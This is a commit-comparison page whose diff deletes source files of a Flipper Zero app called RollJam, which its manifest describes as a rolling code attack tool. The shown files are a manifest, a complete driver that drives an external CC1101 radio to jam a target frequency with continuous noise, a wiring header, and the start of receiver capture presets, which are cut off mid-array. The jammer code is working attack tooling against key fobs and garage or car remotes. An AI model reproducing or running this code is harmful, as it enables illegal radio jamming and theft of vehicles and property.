Compare commits
9 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e89b329b54 | |||
| d490cfa8f4 | |||
| abf0d8ca78 | |||
| 7f7022b960 | |||
| 3a63e14399 | |||
| 99ac826a49 | |||
| a3698f93a9 | |||
| 94dcc82483 | |||
| 9b7499be36 |
@@ -1,23 +0,0 @@
|
||||
App(
|
||||
appid="rolljam",
|
||||
name="RollJam",
|
||||
apptype=FlipperAppType.MENUEXTERNAL,
|
||||
entry_point="rolljam_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Sub-GHz",
|
||||
fap_icon="rolljam.png",
|
||||
fap_icon_assets="images",
|
||||
fap_libs=["assets"],
|
||||
fap_description="RollJam rolling code attack tool",
|
||||
fap_author="@user",
|
||||
fap_version="1.0",
|
||||
fap_weburl="",
|
||||
requires=[
|
||||
"gui",
|
||||
"subghz",
|
||||
"notification",
|
||||
"storage",
|
||||
"dialogs",
|
||||
],
|
||||
provides=[],
|
||||
)
|
||||
@@ -1,521 +0,0 @@
|
||||
#include "rolljam_cc1101_ext.h"
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <furi_hal_cortex.h>
|
||||
#include <furi_hal_power.h>
|
||||
|
||||
// ============================================================
|
||||
// 5V OTG power
|
||||
// ============================================================
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
static bool use_flux_capacitor = false;
|
||||
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled) {
|
||||
use_flux_capacitor = enabled;
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_on(void) {
|
||||
otg_was_enabled = furi_hal_power_is_otg_enabled();
|
||||
if(!otg_was_enabled) {
|
||||
uint8_t attempts = 0;
|
||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
||||
furi_hal_power_enable_otg();
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_off(void) {
|
||||
if(!otg_was_enabled) {
|
||||
furi_hal_power_disable_otg();
|
||||
}
|
||||
}
|
||||
|
||||
static const GpioPin* pin_mosi = &gpio_ext_pa7;
|
||||
static const GpioPin* pin_miso = &gpio_ext_pa6;
|
||||
static const GpioPin* pin_cs = &gpio_ext_pa4;
|
||||
static const GpioPin* pin_sck = &gpio_ext_pb3;
|
||||
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
|
||||
static const GpioPin* pin_amp = &gpio_ext_pc3;
|
||||
|
||||
// ============================================================
|
||||
// CC1101 Registers
|
||||
// ============================================================
|
||||
#define CC_IOCFG2 0x00
|
||||
#define CC_IOCFG0 0x02
|
||||
#define CC_FIFOTHR 0x03
|
||||
#define CC_SYNC1 0x04
|
||||
#define CC_SYNC0 0x05
|
||||
#define CC_PKTLEN 0x06
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_FSCTRL0 0x0C
|
||||
#define CC_FREQ2 0x0D
|
||||
#define CC_FREQ1 0x0E
|
||||
#define CC_FREQ0 0x0F
|
||||
#define CC_MDMCFG4 0x10
|
||||
#define CC_MDMCFG3 0x11
|
||||
#define CC_MDMCFG2 0x12
|
||||
#define CC_MDMCFG1 0x13
|
||||
#define CC_MDMCFG0 0x14
|
||||
#define CC_DEVIATN 0x15
|
||||
#define CC_MCSM1 0x17
|
||||
#define CC_MCSM0 0x18
|
||||
#define CC_FOCCFG 0x19
|
||||
#define CC_AGCCTRL2 0x1B
|
||||
#define CC_AGCCTRL1 0x1C
|
||||
#define CC_AGCCTRL0 0x1D
|
||||
#define CC_FREND0 0x22
|
||||
#define CC_FSCAL3 0x23
|
||||
#define CC_FSCAL2 0x24
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
#define CC_TEST2 0x2C
|
||||
#define CC_TEST1 0x2D
|
||||
#define CC_TEST0 0x2E
|
||||
#define CC_PATABLE 0x3E
|
||||
#define CC_TXFIFO 0x3F
|
||||
|
||||
#define CC_PARTNUM 0x30
|
||||
#define CC_VERSION 0x31
|
||||
#define CC_MARCSTATE 0x35
|
||||
#define CC_TXBYTES 0x3A
|
||||
|
||||
#define CC_SRES 0x30
|
||||
#define CC_SCAL 0x33
|
||||
#define CC_STX 0x35
|
||||
#define CC_SIDLE 0x36
|
||||
#define CC_SFTX 0x3B
|
||||
|
||||
#define MARC_IDLE 0x01
|
||||
#define MARC_TX 0x13
|
||||
|
||||
// ============================================================
|
||||
// Band calibration
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
uint32_t min_freq;
|
||||
uint32_t max_freq;
|
||||
uint8_t fscal3;
|
||||
uint8_t fscal2;
|
||||
uint8_t fscal1;
|
||||
uint8_t fscal0;
|
||||
} ExtBandCal;
|
||||
|
||||
static const ExtBandCal ext_band_cals[] = {
|
||||
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
|
||||
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
|
||||
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
|
||||
};
|
||||
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
|
||||
|
||||
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
|
||||
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
|
||||
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
|
||||
return &ext_band_cals[i];
|
||||
}
|
||||
return &ext_band_cals[1];
|
||||
}
|
||||
|
||||
static inline void spi_delay(void) {
|
||||
for(int i = 0; i < 16; i++) __NOP();
|
||||
}
|
||||
|
||||
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
|
||||
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
|
||||
|
||||
static bool wait_miso(uint32_t us) {
|
||||
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
uint32_t s = DWT->CYCCNT;
|
||||
uint32_t t = (SystemCoreClock / 1000000) * us;
|
||||
while(furi_hal_gpio_read(pin_miso)) {
|
||||
if((DWT->CYCCNT - s) > t) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint8_t spi_byte(uint8_t tx) {
|
||||
uint8_t rx = 0;
|
||||
for(int8_t i = 7; i >= 0; i--) {
|
||||
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_sck, true);
|
||||
spi_delay();
|
||||
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
spi_delay();
|
||||
}
|
||||
return rx;
|
||||
}
|
||||
|
||||
static uint8_t cc_strobe(uint8_t cmd) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
uint8_t s = spi_byte(cmd);
|
||||
cs_hi();
|
||||
return s;
|
||||
}
|
||||
|
||||
static void cc_write(uint8_t a, uint8_t v) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a); spi_byte(v);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static uint8_t cc_read_status(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0xC0);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a | 0x40);
|
||||
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static bool cc_reset(void) {
|
||||
cs_hi(); furi_delay_us(30);
|
||||
cs_lo(); furi_delay_us(30);
|
||||
cs_hi(); furi_delay_us(50);
|
||||
cs_lo();
|
||||
if(!wait_miso(10000)) { cs_hi(); return false; }
|
||||
spi_byte(CC_SRES);
|
||||
if(!wait_miso(100000)) { cs_hi(); return false; }
|
||||
cs_hi();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "EXT: Reset OK");
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool cc_check(void) {
|
||||
uint8_t p = cc_read_status(CC_PARTNUM);
|
||||
uint8_t v = cc_read_status(CC_VERSION);
|
||||
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
|
||||
return (v == 0x14 || v == 0x04 || v == 0x03);
|
||||
}
|
||||
|
||||
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
|
||||
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
|
||||
|
||||
static void cc_idle(void) {
|
||||
cc_strobe(CC_SIDLE);
|
||||
for(int i = 0; i < 500; i++) {
|
||||
if(cc_state() == MARC_IDLE) return;
|
||||
furi_delay_us(50);
|
||||
}
|
||||
}
|
||||
|
||||
static void cc_set_freq(uint32_t f) {
|
||||
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
|
||||
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam(uint32_t freq) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
|
||||
cc_idle();
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x30);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x11);
|
||||
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
uint8_t st = cc_state();
|
||||
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
|
||||
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x00);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
return (cc_state() == MARC_IDLE);
|
||||
}
|
||||
|
||||
static void ext_gpio_init_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
}
|
||||
|
||||
static void ext_gpio_deinit_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Noise pattern & jam helpers
|
||||
// ============================================================
|
||||
|
||||
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_ms(1);
|
||||
cc_write_burst(CC_TXFIFO, pattern, len);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(5);
|
||||
}
|
||||
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
|
||||
|
||||
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
|
||||
app->frequency, app->jam_offset_hz, is_fsk);
|
||||
|
||||
ext_gpio_init_spi_pins();
|
||||
furi_delay_ms(5);
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: Chip no detectado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool jam_ok;
|
||||
if(app->mod_index == ModIndex_FM238)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, false);
|
||||
else if(app->mod_index == ModIndex_FM476)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, true);
|
||||
else
|
||||
jam_ok = cc_configure_jam(freq_pos);
|
||||
|
||||
if(!jam_ok) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
static const uint8_t noise_pattern[62] = {
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55
|
||||
};
|
||||
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
|
||||
uint8_t st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
cc_idle();
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
bool on_pos = true;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
|
||||
if(is_fsk && (loops % 4 == 0)) {
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
on_pos = !on_pos;
|
||||
cc_set_freq(on_pos ? freq_pos : freq_neg);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
underflows++;
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
uint8_t txb = cc_txbytes();
|
||||
if(txb < 20) {
|
||||
uint8_t space = 62 - txb;
|
||||
if(space > 50) space = 50;
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, space);
|
||||
refills++;
|
||||
}
|
||||
|
||||
if(loops % 500 == 0) {
|
||||
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
|
||||
loops, underflows, refills, cc_txbytes());
|
||||
}
|
||||
|
||||
furi_delay_ms(50);
|
||||
}
|
||||
|
||||
cc_idle();
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
cc_write(CC_IOCFG2, 0x2E);
|
||||
|
||||
ext_gpio_deinit_spi_pins();
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public API
|
||||
// ============================================================
|
||||
|
||||
void rolljam_jammer_start(RollJamApp* app) {
|
||||
if(app->jamming_active) return;
|
||||
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
app->jam_thread_running = true;
|
||||
app->jamming_active = true;
|
||||
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(50);
|
||||
|
||||
rolljam_ext_gpio_init();
|
||||
|
||||
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
|
||||
furi_thread_start(app->jam_thread);
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
|
||||
}
|
||||
|
||||
void rolljam_jammer_stop(RollJamApp* app) {
|
||||
if(!app->jamming_active) return;
|
||||
|
||||
app->jam_thread_running = false;
|
||||
furi_thread_join(app->jam_thread);
|
||||
furi_thread_free(app->jam_thread);
|
||||
app->jam_thread = NULL;
|
||||
|
||||
rolljam_ext_gpio_deinit();
|
||||
rolljam_ext_power_off();
|
||||
app->jamming_active = false;
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* External CC1101 module connected via GPIO (bit-bang SPI).
|
||||
* Used EXCLUSIVELY for JAMMING (TX).
|
||||
*
|
||||
* Wiring (as connected):
|
||||
* CC1101 VCC -> Flipper Pin 9 (3V3)
|
||||
* CC1101 GND -> Flipper Pin 11 (GND)
|
||||
* CC1101 MOSI -> Flipper Pin 2 (PA7)
|
||||
* CC1101 MISO -> Flipper Pin 3 (PA6)
|
||||
* CC1101 SCK -> Flipper Pin 5 (PB3)
|
||||
* CC1101 CS -> Flipper Pin 4 (PA4)
|
||||
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
|
||||
*/
|
||||
|
||||
void rolljam_ext_gpio_init(void);
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled);
|
||||
void rolljam_ext_gpio_deinit(void);
|
||||
void rolljam_jammer_start(RollJamApp* app);
|
||||
void rolljam_jammer_stop(RollJamApp* app);
|
||||
@@ -1,689 +0,0 @@
|
||||
#include "rolljam_receiver.h"
|
||||
#include <furi_hal_subghz.h>
|
||||
#include <furi_hal_rtc.h>
|
||||
|
||||
#define CC_IOCFG0 0x02
|
||||
#define CC_FIFOTHR 0x03
|
||||
#define CC_MDMCFG4 0x10
|
||||
#define CC_MDMCFG3 0x11
|
||||
#define CC_MDMCFG2 0x12
|
||||
#define CC_MDMCFG1 0x13
|
||||
#define CC_MDMCFG0 0x14
|
||||
#define CC_DEVIATN 0x15
|
||||
#define CC_MCSM0 0x18
|
||||
#define CC_FOCCFG 0x19
|
||||
#define CC_AGCCTRL2 0x1B
|
||||
#define CC_AGCCTRL1 0x1C
|
||||
#define CC_AGCCTRL0 0x1D
|
||||
#define CC_FREND0 0x22
|
||||
#define CC_FSCAL3 0x23
|
||||
#define CC_FSCAL2 0x24
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_WORCTRL 0x20
|
||||
#define CC_FREND1 0x21
|
||||
|
||||
// OOK 650kHz
|
||||
static const uint8_t preset_ook_650_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// OOK 270kHz
|
||||
static const uint8_t preset_ook_270_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x67,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x40,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x03,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 2.38kHz
|
||||
static const uint8_t preset_2fsk_238_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 47.6kHz
|
||||
static const uint8_t preset_2fsk_476_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// TX OOK
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_238[] = {
|
||||
